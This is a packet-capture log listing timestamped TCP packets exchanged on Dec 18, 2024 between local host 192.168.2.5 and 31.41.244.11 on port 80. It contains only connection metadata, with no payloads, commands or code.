Dec 18, 2024 19:08:51.239103079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.242630005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.242669106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.242703915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.242760897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.245803118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.245840073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.245873928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.245928049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.249417067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.249501944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.249787092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.249860048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.252764940 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.252800941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.252834082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.252873898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.255964994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.256220102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.256253004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.256341934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.259375095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.259471893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.260584116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.260656118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.262902021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.262989044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.263236046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.263307095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.266832113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.266849041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.266964912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.270354033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.270447969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.271122932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.271193981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.272962093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.273036957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.273195982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.273261070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.275814056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.275854111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.275886059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.276021957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.279171944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.279251099 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.280185938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.280263901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.282196999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.282275915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.282670975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.282742977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.285562038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.285646915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.286284924 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.286362886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.288471937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.288554907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.288580894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.288651943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.291733027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.291825056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.291896105 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.291968107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.294878960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.294974089 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.295630932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.295711994 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.298106909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.298162937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.298199892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.298376083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.301498890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.301608086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.302122116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.302205086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.304460049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.304554939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.305160999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.305236101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.308104992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.308141947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.308173895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.308228970 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.310760975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.310852051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.310916901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.310987949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.314032078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.314122915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.314446926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.314521074 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.317157030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.317267895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.317285061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.317354918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.320303917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.320544958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.321187973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.321268082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.323601961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.323683977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.323729038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.323798895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.326816082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.326915979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.327105999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.327181101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.329978943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.330015898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.330050945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.330115080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.333008051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.333115101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.333237886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.333313942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.336266994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.336364031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.336534977 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.336606026 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.339375019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.339484930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.339693069 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.339905977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.342770100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.342904091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.343002081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.343075991 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.345762014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.345865011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.345948935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.346374989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.349104881 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.349206924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.349416018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.349493027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.352541924 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.352576971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.352608919 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.352662086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.355299950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.355389118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.355762005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.355837107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.358519077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.358606100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.359299898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.359371901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.361663103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.362021923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.362242937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.362318993 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.364917040 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.365006924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.365207911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.365276098 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.367964029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.368038893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.368273020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.368339062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.371292114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.371375084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.371756077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.371824980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.374505043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.374586105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.374588966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.374655008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.377516031 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.377604008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.377734900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.377806902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.380951881 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.380986929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.381019115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.381073952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.383908033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.384111881 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.384198904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.384283066 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.387084961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.387166023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.387391090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.387459040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.390300035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.390372992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.390410900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.390479088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.393388033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.393464088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.394169092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.394241095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.396641970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.396718025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.397094965 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.397160053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.399801970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.399883032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.400326014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.400399923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.402968884 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.403053045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.403117895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.403297901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.406166077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.406219959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.406250000 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.406285048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.409725904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.409815073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.409853935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.409899950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.412441969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.412533045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.412615061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.412683964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.415879011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.415968895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.416018009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.416088104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.418906927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.418989897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.419336081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.419406891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.422161102 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.422243118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.422431946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.422504902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.425401926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.425601006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.426297903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.426378012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.428423882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.428499937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.428932905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.429008007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.432162046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.432198048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.432231903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.432286024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.434777975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.434860945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.435111046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.435182095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.438314915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.438450098 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.438699007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.438770056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.441133976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.441190004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.441222906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.441313028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.444482088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.444531918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.447561979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.447601080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.447657108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.450256109 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.450769901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.451208115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.453927994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.453964949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.454030991 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.456234932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.457025051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.457148075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.459247112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.460201979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.460453033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.462275028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.463380098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.463525057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.466695070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.466728926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.467071056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.468234062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.469750881 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.469995975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.471247911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.472939968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.473119020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.474258900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.476178885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.476381063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.479861975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.479892015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.479922056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.480259895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.482495070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.482693911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.483268976 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.485656023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.486099958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.486279964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.488778114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.488889933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.488922119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.492017984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.492110968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.492142916 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.495248079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.495285988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.495357037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.495392084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.498323917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.498337984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.498588085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.501522064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.501559019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.501785994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.502660036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.505198002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.505234003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.505296946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.505296946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.507951975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.508081913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.508137941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.508281946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.511336088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.511373043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.511460066 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.514350891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.514386892 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.514420986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.514492035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.517486095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.517975092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.518039942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.518121004 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.520701885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.520898104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.521056890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.523761988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.523993015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.524209023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.526978970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.527962923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.528239965 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.530210972 CET	80	49739	31.41.244.11	192.168.2.5
